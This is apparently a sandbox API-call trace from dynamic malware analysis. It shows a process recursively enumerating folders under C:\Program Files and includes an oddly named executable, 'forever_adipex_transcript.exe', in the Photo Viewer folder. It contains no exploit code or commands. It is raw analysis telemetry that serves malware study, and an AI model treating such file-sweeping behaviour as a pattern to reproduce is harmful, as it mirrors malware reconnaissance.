	[0158.440] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bf584 | out: lpFindFileData=0x41bf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x689e508b, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x689e508b, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x689e508b, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x3776, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TableTextServiceTigrinya.txt", cAlternateFileName="")) returned 1
	[0158.441] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bf584 | out: lpFindFileData=0x41bf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a1bd11b, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6a1bd11b, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6a1bd11b, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xb072, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TableTextServiceYi.txt", cAlternateFileName="")) returned 1
	[0158.441] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bf584 | out: lpFindFileData=0x41bf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a1bd11b, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6a1bd11b, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6a1bd11b, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xb072, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TableTextServiceYi.txt", cAlternateFileName="")) returned 0
	[0158.441] FindClose (in: hFindFile=0x5dd4c0 | out: hFindFile=0x5dd4c0) returned 1
	[0158.441] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x4f0000) returned 1
	[0158.441] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa9257555, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TableTextService", cAlternateFileName="TABLET~1")) returned 0
	[0158.441] FindClose (in: hFindFile=0x5dd480 | out: hFindFile=0x5dd480) returned 1
	[0158.441] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4540068 | out: hHeap=0x4f0000) returned 1
	[0158.443] FindNextFileW (in: hFindFile=0x5dd6c0, lpFindFileData=0x41bfa7c | out: lpFindFileData=0x41bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x82e2d115, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x82e2d115, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows Photo Viewer", cAlternateFileName="WI8A19~1")) returned 1
	[0158.443] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4540068
	[0158.443] lstrlenW (lpString="C:\\Program Files\\Windows Photo Viewer") returned 37
	[0158.443] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Photo Viewer\\*", lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x82e2d115, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x82e2d115, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5dd180
	[0158.443] FindNextFileW (in: hFindFile=0x5dd180, lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x82e2d115, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x82e2d115, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0158.443] FindNextFileW (in: hFindFile=0x5dd180, lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa92ab93a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
	[0158.443] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4520058
	[0158.444] lstrlenW (lpString="C:\\Program Files\\Windows Photo Viewer\\en-US") returned 43
	[0158.444] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Photo Viewer\\en-US\\*", lpFindFileData=0x41bf584 | out: lpFindFileData=0x41bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa92ab93a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5dd040
	[0158.445] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf584 | out: lpFindFileData=0x41bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa92ab93a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0158.445] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf584 | out: lpFindFileData=0x41bf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b3525a5, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe47aa00, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ImagingDevices.exe.mui", cAlternateFileName="")) returned 1
	[0158.445] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf584 | out: lpFindFileData=0x41bf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d08f33b, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x10aa0400, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PhotoAcq.dll.mui", cAlternateFileName="")) returned 1
	[0158.445] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf584 | out: lpFindFileData=0x41bf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d0b5599, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x11db3100, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PhotoViewer.dll.mui", cAlternateFileName="")) returned 1
	[0158.445] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf584 | out: lpFindFileData=0x41bf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d0b5599, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x11db3100, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PhotoViewer.dll.mui", cAlternateFileName="")) returned 0
	[0158.446] FindClose (in: hFindFile=0x5dd040 | out: hFindFile=0x5dd040) returned 1
	[0158.446] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x4f0000) returned 1
	[0158.446] FindNextFileW (in: hFindFile=0x5dd180, lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb28e3bf0, ftCreationTime.dwHighDateTime=0x1d48618, ftLastAccessTime.dwLowDateTime=0x6ecd2600, ftLastAccessTime.dwHighDateTime=0x1d4a51d, ftLastWriteTime.dwLowDateTime=0x6ecd2600, ftLastWriteTime.dwHighDateTime=0x1d4a51d, nFileSizeHigh=0x0, nFileSizeLow=0x12800, dwReserved0=0x0, dwReserved1=0x0, cFileName="forever_adipex_transcript.exe", cAlternateFileName="FOREVE~1.EXE")) returned 1
	[0158.446] FindNextFileW (in: hFindFile=0x5dd180, lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9550fd74, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9550fd74, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9550fd74, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x19940, dwReserved0=0x0, dwReserved1=0x0, cFileName="ImagingDevices.exe", cAlternateFileName="")) returned 1
	[0158.446] FindNextFileW (in: hFindFile=0x5dd180, lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7963430c, ftCreationTime.dwHighDateTime=0x1d32794, ftLastAccessTime.dwLowDateTime=0x7963430c, ftLastAccessTime.dwHighDateTime=0x1d32794, ftLastWriteTime.dwLowDateTime=0x7963430c, ftLastWriteTime.dwHighDateTime=0x1d32794, nFileSizeHigh=0x0, nFileSizeLow=0x22c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="ImagingEngine.dll", cAlternateFileName="")) returned 1
	[0158.446] FindNextFileW (in: hFindFile=0x5dd180, lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4abd1547, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0x206cbb35, ftLastAccessTime.dwHighDateTime=0x1d2fa0a, ftLastWriteTime.dwLowDateTime=0x4abd1547, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x1db800, dwReserved0=0x0, dwReserved1=0x0, cFileName="PhotoAcq.dll", cAlternateFileName="")) returned 1
	[0158.446] FindNextFileW (in: hFindFile=0x5dd180, lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9550fd74, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9550fd74, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9550fd74, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xb200, dwReserved0=0x0, dwReserved1=0x0, cFileName="PhotoBase.dll", cAlternateFileName="")) returned 1
	[0158.446] FindNextFileW (in: hFindFile=0x5dd180, lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ab5edf1, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0x212dda0c, ftLastAccessTime.dwHighDateTime=0x1d2fa0a, ftLastWriteTime.dwLowDateTime=0x4ab5edf1, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x1a9600, dwReserved0=0x0, dwReserved1=0x0, cFileName="PhotoViewer.dll", cAlternateFileName="")) returned 1
	[0158.446] FindNextFileW (in: hFindFile=0x5dd180, lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ab5edf1, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0x212dda0c, ftLastAccessTime.dwHighDateTime=0x1d2fa0a, ftLastWriteTime.dwLowDateTime=0x4ab5edf1, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x1a9600, dwReserved0=0x0, dwReserved1=0x0, cFileName="PhotoViewer.dll", cAlternateFileName="")) returned 0
	[0158.447] FindClose (in: hFindFile=0x5dd180 | out: hFindFile=0x5dd180) returned 1
	[0158.447] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4540068 | out: hHeap=0x4f0000) returned 1
	[0158.447] FindNextFileW (in: hFindFile=0x5dd6c0, lpFindFileData=0x41bfa7c | out: lpFindFileData=0x41bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa92ac52c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a51df28, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows Portable Devices", cAlternateFileName="WIBFE5~1")) returned 1
	[0158.447] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4540068
	[0158.447] lstrlenW (lpString="C:\\Program Files\\Windows Portable Devices") returned 41
	[0158.447] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Portable Devices\\*", lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa92ac52c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a51df28, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5dd780
	[0158.448] FindNextFileW (in: hFindFile=0x5dd780, lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa92ac52c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a51df28, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0158.448] FindNextFileW (in: hFindFile=0x5dd780, lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d6b25ca, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x2d6b25ca, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x2d6b25ca, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xc220, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqmapi.dll", cAlternateFileName="")) returned 1
	[0158.449] FindNextFileW (in: hFindFile=0x5dd780, lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d6b25ca, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x2d6b25ca, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x2d6b25ca, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xc220, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqmapi.dll", cAlternateFileName="")) returned 0
	[0158.449] FindClose (in: hFindFile=0x5dd780 | out: hFindFile=0x5dd780) returned 1
	[0158.449] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4540068 | out: hHeap=0x4f0000) returned 1
	[0158.449] FindNextFileW (in: hFindFile=0x5dd6c0, lpFindFileData=0x41bfa7c | out: lpFindFileData=0x41bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa92acc65, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bb043c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows Security", cAlternateFileName="WIDB62~1")) returned 1
	[0158.449] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4540068
	[0158.449] lstrlenW (lpString="C:\\Program Files\\Windows Security") returned 33
	[0158.449] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Security\\*", lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa92acc65, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bb043c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5dd240
	[0158.450] FindNextFileW (in: hFindFile=0x5dd240, lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa92acc65, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bb043c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0158.450] FindNextFileW (in: hFindFile=0x5dd240, lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa92ad688, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BrowserCore", cAlternateFileName="BROWSE~1")) returned 1
	[0158.450] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4520058
	[0158.450] lstrlenW (lpString="C:\\Program Files\\Windows Security\\BrowserCore") returned 45
	[0158.450] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Security\\BrowserCore\\*", lpFindFileData=0x41bf584 | out: lpFindFileData=0x41bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa92ad688, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5dd180
	[0158.452] FindNextFileW (in: hFindFile=0x5dd180, lpFindFileData=0x41bf584 | out: lpFindFileData=0x41bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa92ad688, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0158.453] FindNextFileW (in: hFindFile=0x5dd180, lpFindFileData=0x41bf584 | out: lpFindFileData=0x41bf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5845b6dc, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x5845b6dc, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x5845b6dc, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x139a0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BrowserCore.exe", cAlternateFileName="")) returned 1
	[0158.453] FindNextFileW (in: hFindFile=0x5dd180, lpFindFileData=0x41bf584 | out: lpFindFileData=0x41bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa92ae2d6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en-US", cAlternateFileName="")) returned 1
	[0158.453] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4570080
	[0158.454] lstrlenW (lpString="C:\\Program Files\\Windows Security\\BrowserCore\\en-US") returned 51
	[0158.454] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Security\\BrowserCore\\en-US\\*", lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa92ae2d6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5dd1c0
	[0158.454] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa92ae2d6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0158.454] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d802908, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x76ff649a, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x1bb16400, ftLastWriteTime.dwHighDateTime=0x1d29fab, nFileSizeHigh=0x0, nFileSizeLow=0x3a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="BrowserCore.exe.mui", cAlternateFileName="")) returned 1
	[0158.454] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d802908, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x76ff649a, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x1bb16400, ftLastWriteTime.dwHighDateTime=0x1d29fab, nFileSizeHigh=0x0, nFileSizeLow=0x3a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="BrowserCore.exe.mui", cAlternateFileName="")) returned 0
	[0158.454] FindClose (in: hFindFile=0x5dd1c0 | out: hFindFile=0x5dd1c0) returned 1
	[0158.455] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4570080 | out: hHeap=0x4f0000) returned 1
	[0158.455] FindNextFileW (in: hFindFile=0x5dd180, lpFindFileData=0x41bf584 | out: lpFindFileData=0x41bf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5845b6dc, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x5845b6dc, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x5845b6dc, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="manifest.json", cAlternateFileName="")) returned 1
	[0158.455] FindNextFileW (in: hFindFile=0x5dd180, lpFindFileData=0x41bf584 | out: lpFindFileData=0x41bf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5845b6dc, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x5845b6dc, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x5845b6dc, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="manifest.json", cAlternateFileName="")) returned 0
	[0158.455] FindClose (in: hFindFile=0x5dd180 | out: hFindFile=0x5dd180) returned 1
	[0158.455] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x4f0000) returned 1
	[0158.455] FindNextFileW (in: hFindFile=0x5dd240, lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa92ad688, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BrowserCore", cAlternateFileName="BROWSE~1")) returned 0
	[0158.455] FindClose (in: hFindFile=0x5dd240 | out: hFindFile=0x5dd240) returned 1
	[0158.455] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4540068 | out: hHeap=0x4f0000) returned 1
